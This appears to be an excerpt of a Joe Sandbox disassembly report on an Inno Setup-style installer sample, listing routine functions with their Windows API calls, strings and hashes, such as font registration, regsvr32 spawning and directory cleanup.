SetActiveWindow.USER32(?,004615BF,00000000,?,?,?,?,?,00000000,00461643), ref: 004615A9
SetActiveWindow.USER32(?,?,004615BF,00000000,?,?,?,?,?,00000000,00461643), ref: 004615B2

Strings

A, xrefs: 00461527

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ActiveWindow$BrowseFolderInitializeMallocUninitialize
String ID: A
API String ID: 2684663990-3554254475
Opcode ID: 1a2b14b0ce593c78e5b77d196e88522ccd9c3a7e94d83b7f20090faf3fe85af4
Instruction ID: 3b7aa7431835c7c777c0b5d0eb650662cb24b1be5a668883a221ebb7e5be7499
Opcode Fuzzy Hash: 1a2b14b0ce593c78e5b77d196e88522ccd9c3a7e94d83b7f20090faf3fe85af4
Instruction Fuzzy Hash: 05310F70D00218AFDB00EFA6D885A9EBBF8EF09304F55847AF415E7251E6789A04CB5A

Function 004727E0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 67COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,004728A1,?,?,?,00000008,00000000,00000000,00000000,?,00472AFD,?,?,00000000,00472D6C), ref: 00472804

Part of subcall function 0042CD8C: GetPrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0042CE02

Part of subcall function 00406F40: DeleteFileA.KERNEL32(00000000,0049B628,00497BFD,00000000,00497C52,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F4B

SetFileAttributesA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,004728A1,?,?,?,00000008,00000000,00000000,00000000,?,00472AFD), ref: 0047287B
RemoveDirectoryA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,004728A1,?,?,?,00000008,00000000,00000000,00000000), ref: 00472881

Strings

{0AFACED1-E828-11D1-9187-B532F1E9575D}, xrefs: 0047283D
CLSID2, xrefs: 0047282E
desktop.ini, xrefs: 00472818
.ShellClassInfo, xrefs: 00472833
target.lnk, xrefs: 00472859

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryPrivateProfileRemoveString
String ID: .ShellClassInfo$CLSID2$desktop.ini$target.lnk${0AFACED1-E828-11D1-9187-B532F1E9575D}
API String ID: 884541143-1710247218
Opcode ID: 1868d1ec2436a7bbc0d7041c4ffcd453102d48d96e31a7c571d0111a3cf3086d
Instruction ID: 279d6da86f281c7a9c803d865f3c4407023b84140d9db6ac64499a617a38ab60
Opcode Fuzzy Hash: 1868d1ec2436a7bbc0d7041c4ffcd453102d48d96e31a7c571d0111a3cf3086d
Instruction Fuzzy Hash: 8A11E270B005147BDB01F6658D82BAE73ACDB45754F62827BB804A72C1DB7C9E028A1E

Function 0045D0D4 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 41libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,inflateInit_), ref: 0045D0DD
GetProcAddress.KERNEL32(00000000,inflate), ref: 0045D0ED
GetProcAddress.KERNEL32(00000000,inflateEnd), ref: 0045D0FD
GetProcAddress.KERNEL32(00000000,inflateReset), ref: 0045D10D

Strings

inflate, xrefs: 0045D0E7
inflateReset, xrefs: 0045D107
inflateEnd, xrefs: 0045D0F7
inflateInit_, xrefs: 0045D0D7

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc
String ID: inflate$inflateEnd$inflateInit_$inflateReset
API String ID: 190572456-3516654456
Opcode ID: dbb685680a16ba3fccec3577b7ec4e51ea72545e87c1ddc4c02616cb3473d65c
Instruction ID: 76eb10cdb098e6f3740e4570fa0e0ca14f9d337f92906be3718b60d9f676c82f
Opcode Fuzzy Hash: dbb685680a16ba3fccec3577b7ec4e51ea72545e87c1ddc4c02616cb3473d65c
Instruction Fuzzy Hash: 800112B0D01B00DAE724DFB69DD572736A5ABA4306F10C13B9C49D62A2D77D0859DF2C

Function 0041A8D4 Relevance: 13.7, APIs: 9, Instructions: 176windowCOMMON

Download Yara Rule

APIs

SetBkColor.GDI32(?,00000000), ref: 0041A9B1
73A24D40.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020,?,00000000), ref: 0041A9EB
SetBkColor.GDI32(?,?), ref: 0041AA00
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00CC0020), ref: 0041AA4A
SetTextColor.GDI32(00000000,00000000), ref: 0041AA55
SetBkColor.GDI32(00000000,00FFFFFF), ref: 0041AA65
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00E20746), ref: 0041AAA4
SetTextColor.GDI32(00000000,00000000), ref: 0041AAAE
SetBkColor.GDI32(00000000,?), ref: 0041AABB

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Color$StretchText
String ID:
API String ID: 2984075790-0
Opcode ID: 33ed346255d2d01e66c926e049e6617e656dc0545b4cfc6f34fc57e337ce283f
Instruction ID: f35f62ab74b2522f6310a7e8d9a92b24202350a16c816e0881424610f10e5e30
Opcode Fuzzy Hash: 33ed346255d2d01e66c926e049e6617e656dc0545b4cfc6f34fc57e337ce283f
Instruction Fuzzy Hash: 9F61C7B5A00105AFCB40EFADD985E9EB7F8EF08314B1085AAF518DB262C735ED408F58

Function 00457EE4 Relevance: 13.6, APIs: 1, Strings: 8, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 0042D8BC: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8CF

CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,00458098,?, /s ",?,regsvr32.exe",?,00458098), ref: 0045800A

Strings

regsvr32.exe", xrefs: 00457F2B
0x%x, xrefs: 0045802D
CreateProcess, xrefs: 00457FFC
Spawning 64-bit RegSvr32: , xrefs: 00457F6F
D, xrefs: 00457FC0
/u, xrefs: 00457F46
/s ", xrefs: 00457F53
Spawning 32-bit RegSvr32: , xrefs: 00457F91

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseDirectoryHandleSystem
String ID: /s "$ /u$0x%x$CreateProcess$D$Spawning 32-bit RegSvr32: $Spawning 64-bit RegSvr32: $regsvr32.exe"
API String ID: 2051275411-1862435767
Opcode ID: cb06b037a9936da38b1ea299305d673950aed566f5e97164fe1c7bb630972389
Instruction ID: 56a02eb2220928eb4cb829bb83c6f501b915172eb664170f25c545f5d36e4a23
Opcode Fuzzy Hash: cb06b037a9936da38b1ea299305d673950aed566f5e97164fe1c7bb630972389
Instruction Fuzzy Hash: 80413670A003086BDB10EFE5D842B8EB7B9AF44705F50407FA904BB297DF789A0D8B19

Function 0044D170 Relevance: 13.6, APIs: 9, Instructions: 90COMMON

Download Yara Rule

APIs

OffsetRect.USER32(?,00000001,00000001), ref: 0044D1A1
GetSysColor.USER32(00000014), ref: 0044D1A8
SetTextColor.GDI32(00000000,00000000), ref: 0044D1C0
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D1E9
OffsetRect.USER32(?,000000FF,000000FF), ref: 0044D1F3
GetSysColor.USER32(00000010), ref: 0044D1FA
SetTextColor.GDI32(00000000,00000000), ref: 0044D212
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D23B
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044D266

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Text$Color$Draw$OffsetRect
String ID:
API String ID: 1005981011-0
Opcode ID: c5a987219403fb39552b8629345f90501b93a362f94b22de4e5dcdb6506d09d4
Instruction ID: 3fa3981ec5684e07db84b004592342e93505d63b705e9416633fcf0049301179
Opcode Fuzzy Hash: c5a987219403fb39552b8629345f90501b93a362f94b22de4e5dcdb6506d09d4
Instruction Fuzzy Hash: 6A21CEB46415047FC710FB2ACC8AE8BBBECDF19319B00457AB958EB392C678DE404668

Function 00495A00 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00450900: SetEndOfFile.KERNEL32(?,?,0045C162,00000000,0045C2ED,?,00000000,00000002,00000002), ref: 00450907

Part of subcall function 00406F40: DeleteFileA.KERNEL32(00000000,0049B628,00497BFD,00000000,00497C52,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F4B

GetWindowThreadProcessId.USER32(00000000,?), ref: 00495A91
OpenProcess.KERNEL32(00100000,00000000,?,00000000,?), ref: 00495AA5
SendNotifyMessageA.USER32(00000000,0000054D,00000000,00000000), ref: 00495ABF
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,0000054D,00000000,00000000,00000000,?), ref: 00495ACB
CloseHandle.KERNEL32(00000000,00000000,000000FF,00000000,0000054D,00000000,00000000,00000000,?), ref: 00495AD1
Sleep.KERNEL32(000001F4,00000000,0000054D,00000000,00000000,00000000,?), ref: 00495AE4

Strings

Deleting Uninstall data files., xrefs: 00495A07

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: FileProcess$CloseDeleteHandleMessageNotifyObjectOpenSendSingleSleepThreadWaitWindow
String ID: Deleting Uninstall data files.
API String ID: 1570157960-2568741658
Opcode ID: 181e5138e971e41075a5f0d412266dd8d351837d1b4a26c408709cd589ae8453
Instruction ID: 8fd25edfc014547dd13852670f785c7791f766ba0082412c3ee421c8584d85d8
Opcode Fuzzy Hash: 181e5138e971e41075a5f0d412266dd8d351837d1b4a26c408709cd589ae8453
Instruction Fuzzy Hash: 6D217371304610AFEB11E7A6ECC6B2736A8E758328F61453BB5019A1E2D67CAC04CB6C

Function 0047001C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 89registrywindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE14: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0048319F,?,00000001,?,?,0048319F,?,00000001,00000000), ref: 0042DE30

RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,00470119,?,?,?,?,00000000), ref: 00470083
RegCloseKey.ADVAPI32(?,?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,00470119), ref: 0047009A
AddFontResourceA.GDI32(00000000), ref: 004700B7
SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 004700CB

Strings

AddFontResource, xrefs: 004700D5
Failed to set value in Fonts registry key., xrefs: 0047008C
Failed to open Fonts registry key., xrefs: 004700A1

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseFontMessageNotifyOpenResourceSendValue
String ID: AddFontResource$Failed to open Fonts registry key.$Failed to set value in Fonts registry key.
API String ID: 955540645-649663873
Opcode ID: f5f332fdf6b81b93aa7c4aa8247d012b23b36d83bd75883ed92b8e0c843fb9c6
Instruction ID: 9e1cacd5bb0885738b58fd2773111f6953d7784f445270ce1bd520dac8ad2ca8
Opcode Fuzzy Hash: f5f332fdf6b81b93aa7c4aa8247d012b23b36d83bd75883ed92b8e0c843fb9c6
Instruction Fuzzy Hash: 2921B270741240BBDB10EA669C42FAA77DDCB54708F508437B904EB3C2DA7DAE02966D

Function 00462C58 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00416408: GetClassInfoA.USER32(00400000,?,?), ref: 00416477
Part of subcall function 00416408: UnregisterClassA.USER32(?,00400000), ref: 004164A3
Part of subcall function 00416408: RegisterClassA.USER32(?), ref: 004164C6

GetVersion.KERNEL32 ref: 00462C88
SendMessageA.USER32(00000000,0000112C,00000004,00000004), ref: 00462CC6
SHGetFileInfo.SHELL32(00462D64,00000000,?,00000160,00004011), ref: 00462CE3
LoadCursorA.USER32(00000000,00007F02), ref: 00462D01
SetCursor.USER32(00000000,00000000,00007F02,00462D64,00000000,?,00000160,00004011), ref: 00462D07
SetCursor.USER32(?,00462D47,00007F02,00462D64,00000000,?,00000160,00004011), ref: 00462D3A

Strings

Explorer, xrefs: 00462CA2

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ClassCursor$Info$FileLoadMessageRegisterSendUnregisterVersion
String ID: Explorer
API String ID: 2594429197-512347832
Opcode ID: 30df62a617669fef841725f59b7241a6ef7ae2a9f6b946bb27ea1461a0e7011c
Instruction ID: fc1c968538dd14d686f90bdc81855b9701391525be241791f09fb78c6da7bbf1
Opcode Fuzzy Hash: 30df62a617669fef841725f59b7241a6ef7ae2a9f6b946bb27ea1461a0e7011c
Instruction Fuzzy Hash: 7A21E7717407047AE720BB768D47F9A3698DB09708F40047FBA09EF2D3D9BC880186AD

Function 00477E04 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 66libraryfileloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetFinalPathNameByHandleA,02212BEC,?,?,?,02212BEC,00477FC8,00000000,004780E6,?,?,-00000010,?), ref: 00477E1D
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00477E23
GetFileAttributesA.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,02212BEC,?,?,?,02212BEC,00477FC8,00000000,004780E6,?,?,-00000010,?), ref: 00477E36
CreateFileA.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,02212BEC,?,?,?,02212BEC), ref: 00477E60
CloseHandle.KERNEL32(00000000,?,?,?,02212BEC,00477FC8,00000000,004780E6,?,?,-00000010,?), ref: 00477E7E

Strings

kernel32.dll, xrefs: 00477E18
GetFinalPathNameByHandleA, xrefs: 00477E13

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: FileHandle$AddressAttributesCloseCreateModuleProc
String ID: GetFinalPathNameByHandleA$kernel32.dll
API String ID: 2704155762-2318956294
Opcode ID: 174de6e33fe68a4e6b56811a15987559e55e5d15ecccd51d737e8050849857cd
Instruction ID: a9b895bb6ebf06323b616d37e9582929c99452ce9f0730db43ffa1519c083574
Opcode Fuzzy Hash: 174de6e33fe68a4e6b56811a15987559e55e5d15ecccd51d737e8050849857cd
Instruction Fuzzy Hash: D1014551788B0436E52031BA0C82FBB244C8F50729F508177BB5CEE2D3EABC9C0201AE

Function 00401A90 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0049B420,00000000,00401B68), ref: 00401ABD
LocalFree.KERNEL32(00592898,00000000,00401B68), ref: 00401ACF
VirtualFree.KERNEL32(?,00000000,00008000,00592898,00000000,00401B68), ref: 00401AEE
LocalFree.KERNEL32(00593898,?,00000000,00008000,00592898,00000000,00401B68), ref: 00401B2D
RtlLeaveCriticalSection.KERNEL32(0049B420,00401B6F), ref: 00401B58
RtlDeleteCriticalSection.KERNEL32(0049B420,00401B6F), ref: 00401B62

Strings

l>Y, xrefs: 00401B11

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID: l>Y
API String ID: 3782394904-3992852859
Opcode ID: ef0d8b2142be7cf42810e170793bf0a6b8446fdea194a224c38922696d0a74e0
Instruction ID: 79795942c165c44483fb09e1962e32eaca51f8de38df00e9c029d8aa05623ce8
Opcode Fuzzy Hash: ef0d8b2142be7cf42810e170793bf0a6b8446fdea194a224c38922696d0a74e0
Instruction Fuzzy Hash: 3B118E30A003405AEB15AB65BE85B263BA5D761B08F44407BF80067BF3D77C5850E7AE

Function 00459C2C Relevance: 12.1, APIs: 1, Strings: 7, Instructions: 121COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00459DAE,?,00000000,00000000,00000000,?,00000006,?,00000000,00496D69,?,00000000,00496E0C), ref: 00459CF2

Part of subcall function 004543C8: FindClose.KERNEL32(000000FF,004544BE), ref: 004544AD

Strings

Failed to strip read-only attribute., xrefs: 00459CC0
Deleting directory: %s, xrefs: 00459C7B
Not stripping read-only attribute because the directory does not appear to be empty., xrefs: 00459CCC
Failed to delete directory (%d). Will delete on restart (if empty)., xrefs: 00459D67
Failed to delete directory (%d)., xrefs: 00459D88
Stripped read-only attribute., xrefs: 00459CB4
Failed to delete directory (%d). Will retry later., xrefs: 00459D0B

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseErrorFindLast
String ID: Deleting directory: %s$Failed to delete directory (%d).$Failed to delete directory (%d). Will delete on restart (if empty).$Failed to delete directory (%d). Will retry later.$Failed to strip read-only attribute.$Not stripping read-only attribute because the directory does not appear to be empty.$Stripped read-only attribute.
API String ID: 754982922-1448842058
Opcode ID: 98c166b47c72afa297f55e861990155f618f32ac3a66bf902307907fb8e99ae8
Instruction ID: cce1cab1201e8728e9bc38508445727295e1911ffe2e7292dd45cd7f335e186b
Opcode Fuzzy Hash: 98c166b47c72afa297f55e861990155f618f32ac3a66bf902307907fb8e99ae8
Instruction Fuzzy Hash: F9418230A04259DACB04EB6988013AE76F55F4930AF55857FAC0597393D7BC8E0D879A

Function 00422E48 Relevance: 12.1, APIs: 8, Instructions: 119windowCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 00422E9C
GetCapture.USER32 ref: 00422EAB
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 00422EB1
ReleaseCapture.USER32 ref: 00422EB6
GetActiveWindow.USER32 ref: 00422EC5
SendMessageA.USER32(00000000,0000B000,00000000,00000000), ref: 00422F44
SendMessageA.USER32(00000000,0000B001,00000000,00000000), ref: 00422FA8
GetActiveWindow.USER32 ref: 00422FB7

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CaptureMessageSend$ActiveWindow$Release
String ID:
API String ID: 862346643-0
Opcode ID: b9008f70cee70ce8cdbe9feae850e28bfa4c4446851c9a93175be9357b8d3b25
Instruction ID: a831bf89ec3617aa4b81e8a61b28cb02c358a8e939ae68eb352e359643dafe13
Opcode Fuzzy Hash: b9008f70cee70ce8cdbe9feae850e28bfa4c4446851c9a93175be9357b8d3b25
Instruction Fuzzy Hash: E1414070B00245AFDB10EF69DA46B9E77F1EF48304F5140BAF404AB2A2D7B89E40DB59

Function 0042F288 Relevance: 12.1, APIs: 8, Instructions: 102windowCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 0042F2B2
GetWindowLongA.USER32(?,000000EC), ref: 0042F2C9
GetActiveWindow.USER32 ref: 0042F2D2
MessageBoxA.USER32(00000000,00000000,00000000,00000000), ref: 0042F2FF
SetActiveWindow.USER32(?,0042F42F,00000000,?), ref: 0042F320

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Window$ActiveLong$Message
String ID:
API String ID: 2785966331-0
Opcode ID: a223125d65db3de814fb2ac44b456330cdbbeb03ed1e631204e072d19995624a
Instruction ID: 9696dc9395d24dec9abacdc10881687288e082ae8fcf9a6a48756090996bfad8
Opcode Fuzzy Hash: a223125d65db3de814fb2ac44b456330cdbbeb03ed1e631204e072d19995624a
Instruction Fuzzy Hash: A431A171A00714AFDB01EFB9DC52E6E7BF8EB09714B9148BAF804E7291D7389D10CA58

Function 00429478 Relevance: 12.1, APIs: 8, Instructions: 62COMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000), ref: 00429482
GetTextMetricsA.GDI32(00000000), ref: 0042948B

Part of subcall function 0041A1E0: CreateFontIndirectA.GDI32(?), ref: 0041A29F

SelectObject.GDI32(00000000,00000000), ref: 0042949A
GetTextMetricsA.GDI32(00000000,?), ref: 004294A7
SelectObject.GDI32(00000000,00000000), ref: 004294AE
73A1A480.USER32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 004294B6
GetSystemMetrics.USER32(00000006), ref: 004294DB
GetSystemMetrics.USER32(00000006), ref: 004294F5

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

